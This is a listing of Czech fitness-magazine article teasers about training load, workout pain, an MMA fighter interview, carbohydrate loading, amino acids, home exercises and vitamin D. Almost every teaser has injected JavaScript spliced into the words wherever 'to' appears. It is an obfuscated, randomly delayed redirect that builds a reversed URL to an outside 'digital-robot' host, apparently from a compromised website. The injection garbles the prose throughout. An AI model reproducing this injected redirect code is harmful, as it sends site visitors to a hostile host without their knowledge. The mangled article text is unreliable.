• Tréninky

    JAK ZVOLIT OPTIMÁLNÍ ZÁTĚŽ

    Na snímku: Radim Zábranský, fotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to: Josef Adlt ve Fit Life Doubravka Plzeň   K tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomu, abyste vytvořili podmínky ideální pro nárůst svalové hmoty, potřebujete pochopit vztah mezi použitobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tou zátěží a počtem opakování, která chcete provést.   Začátečníky obvykle zajímá, který proteinový prášek je pro ně nejlepší (tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomutobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to tématu se více věnujeme na straně 49), a vzápětí pokládají další klíčovou otázku: Jakou zátěž bych měl použít? Odpověď na taktobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to jednoduše položený dotaz není vůbec snadná. V případě začátečníků…

  • Tréninky

    5 ZPŮSOBŮ JAK BOJOVAT S BOLESTÍ PŘI TRÉNINKU

    Fotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to: Irvin Gelb Tytobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to techniky vám pomohou zmírnit bolest způsobenou tvrdým tréninkem a působí současně jako prevence zranění. Lékař vám řekne, že bolest je indikátobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toho, když se v těle děje něco špatného. Tvrdě trénující sportobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovec vám řekne, že bolest je něco, co drží slabochy dál od posilovny. My se nyní podíváme na oba pohledy. Určitý stupeň bolesti je nedílnou součástí našeho života a úzce souvisí i s tréninkem. Pokud ale stresové faktobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory narůstají, mohou se…

  • MMA

    DAVID „RŮŽOVÝ PANTER“ KOZMA: „Nejde mi skoro žádný sport, na všechny jsem antitalent.“

    Připravil: Robert „Bobby“ Rohál, fotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to: archiv D. Kozmy Jestli na zdejší MMA mapě najdete pracovitější sedmasedmdesátku s tak nabroušenými lokty, hned zítra sedám na letadlo a emigruji, kamkoliv tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to ještě půjde. Vsadím také svou sbírku motýlů, že za poslední dekádu domácí branže příliš výraznějších bojovníků neměla. Svět kulturistiky se potkal se sympaticky působícím úřadujícím šampionem Oktagonu ve welterové váze Davidem Kozmou (28) na vyšehradských hradbách. Svěřenec trenéra Marka Lončáka z PriMMAt Gym překvapil zejména informací, že mu nejde téměř žádný sport, protobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tože je na všechna odvětví antitalent. Na bájném místě, odkud rytíř…

  • Výživa

    CO NABÍZÍ SACHARIDOVÁ SUPERKOMPENZACE

    Připravil: Tomáš Novotný, lektobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor Trenérské školy Olympia   Už koncem 60. let minulého stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toletí odborníci objevili něco, co výrazně ovlivnilo celkový přístup sportobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovců k výživě v předzávodním období – sacharidovou superkompenzaci. Zajímavostí je, že si vědci pod vedením J. Bergströma dokonce v té době zkoušeli tytobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to průlomové experimenty sami na sobě. I po více než 50 letech je sacharidová superkompenzace poměrně živé téma, o které se intenzivně zajímá i sportobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovní komunita z ryze praktických důvodů. Někteří sportobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovci (typicky…

  • Tréninky,  Výživa

    PŘECHOD OBJEMOVÉHO TRÉNINKU K RÝSOVACÍMU

    Fotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tografie Aleše Bursy, Pavla Koukala a Adama Wellarta z dílny Josefa Adlta.   OPĚT JE TADY DOBA, kdy se budeme loučit s nevlídnou, šedivou zimou, sledovat, jak se příroda probouzí, odhazovat vrstvy zimního oblečení a pod nimi objevovat výsledky svých zimních tréninků, v tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to případě značně ovlivněných koronavirovou situací. Řadu příznivců posilování čeká přechod od klasicky objemového tréninkového programu k rýsovacímu. Ať už v rámci přípravy na soutěž (držme si všichni palce, aby se soutěže v letobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tošním roce konaly dle původního plánu) nebo kvůli nadcházející plážové sezóně. Pravdou zůstává, že není…

  • Výživa

    AMINOKYSELINY vs. PROTEINY

    Řada lidí se domnívá, že aminokyseliny a proteiny jsou jedno a tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}totéž. Ale pravdou je, že proteiny jsou tvořeny aminokyselinami a obsahují různé kombinace různých aminokyselin. Odborníci přirovnávají aminokyseliny k písmenům abecedy. Představte si, že máte 26 písmen, z nichž můžete vytvářet tisíce slov, při tvorbě rostlinných či živočišných bílkovin se setkáváme s nejrůznějšími kombinacemi. Bílkoviny jsou nejčastěji se vyskytující látky v lidském těle hned po vodě. Asi polovina naší váhy, která není tvořena vodou, se skládá z bílkovin. Zhruba třetina se koncentruje ve svalech, pětina v chrupavkách a kostech, desetina v kůži a zbytek najdete ve tkáních a tělesných tekutinách.   VÝZNAM PROTEINŮ Řekové dali proteinům jejich název, který znamená…

  • Tréninky

    10 CVIKŮ PRO VÁŠ DOMÁCÍ TRÉNINK

    Fotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to: Josef Adlt, model: Aristide Mbomni V BOJI ZA LEPŠÍ KONDICI MŮŽETE USPĚT I DOMA V OBÝVÁKU. Možná bychom měli dokonce napsat MUSÍTE. Máme za sebou dlouhé týdny bez možnosti trénovat ve fitku. Dobu, která kladla na tréninkovou kreativitu obrovské nároky a dost možná přiměla mnohé z vás pořídit si poměrně slušnou výbavu pro domácí trénink. Pokud váš cvičební arzenál čítá jednoručky, kettlebell činky, posilovací vak a BOSU, inspirujte se následujícími cviky v podání skvělého Aristida Mbomni.   Vzpomínáte na články, v nichž vám autobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toři kladli na srdce, abyste v tréninku upřednostňovali volnou zátěž před stroji? V době jejich vzniku nikdo netušil, že se…

  • Výživa

    PŘÍRODNÍ CESTOU K LEPŠÍ VÝKONNOSTI A SILNĚJŠÍ IMUNITĚ

      Z mistrovství světa v multitaskingu by si příroda bezpochyby odvezla medaili. Je na slovo vzatým odborníkem na víceúčelovost a efektivitu. Když budete hledat přírodní prostředek ke zlepšení sportobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovní výkonnosti, který současně posiluje imunitu, máte rozhodně z čeho vybírat. Za zmínku určitě stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tojí…   KURKUMA Oblíbené exotické koření vyniká především protizánětlivými účinky. Jeho účinná látka – kurkumin – je tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}totiž velmi silným antioxidantem. Tím pádem z hlediska výkonnosti urychluje regeneraci a umožní sportobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovci realizovat další náročný trénink dříve + s dostatečným nasazením. Co se týče posílení imunitního systému, máme k dispozici studie,…

  • Tréninky

    NOHY JSOU ZÁKLAD

    Fotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to: Josef Adlt Trénink nohou rozděleně? Inspirujte se přístupem Pavla Koukala. Jen málokterá svalová partie tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toho o vaší formě prozradí tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tolik jako právě nohy. A těžko byste hledali trénink, který vás při poctivém přístupu k věci tak odrovná. Na tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tohle téma by většina úspěšných závodníků mohla mluvit dlouhé hodiny. Slyšeli byste příběhy o tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tom, že vyjít po cvičení pár schodů bývá nadlidský výkon. Svalstvo nohou navíc rádo odolává i velmi intenzivní snaze o zlepšení. Přičemž hodně sportobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay =…

  • Výživa

    Vitamin D – PILÍŘ VAŠÍ IMUNITY a také jeden z důležitých “bojovníků“ v pandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andemii COVID-19

    Připravila: Petra Schäferová V posledních měsících proběhlo několik lékařských studií dokazujících spojitobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tost dostatečné hladiny vitaminu D v organismu a schopnosti těla ubránit se nákaze virem COVID-19. V případě vypuknutí nemoci pak dostatek vitaminu D v těle výrazně zvyšuje šanci na bezpříznakový či lehký průběh nemoci.  Vitamin D zabezpečuje v těle velké množství důležitých funkcí, mezi než patří nejen metabolismus vápníku a fosforu, regulace krevního tlaku, nespočet buněčných procesů, ale právě i fungování imunity. CO NA TO ODBORNÍCI? Prestižní vědecký časopis The Lancet zveřejnil 3. srpna 2020 článek „Vitamin D for COVID-19: a case tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to answer?“, v němž zdůrazňuje, že…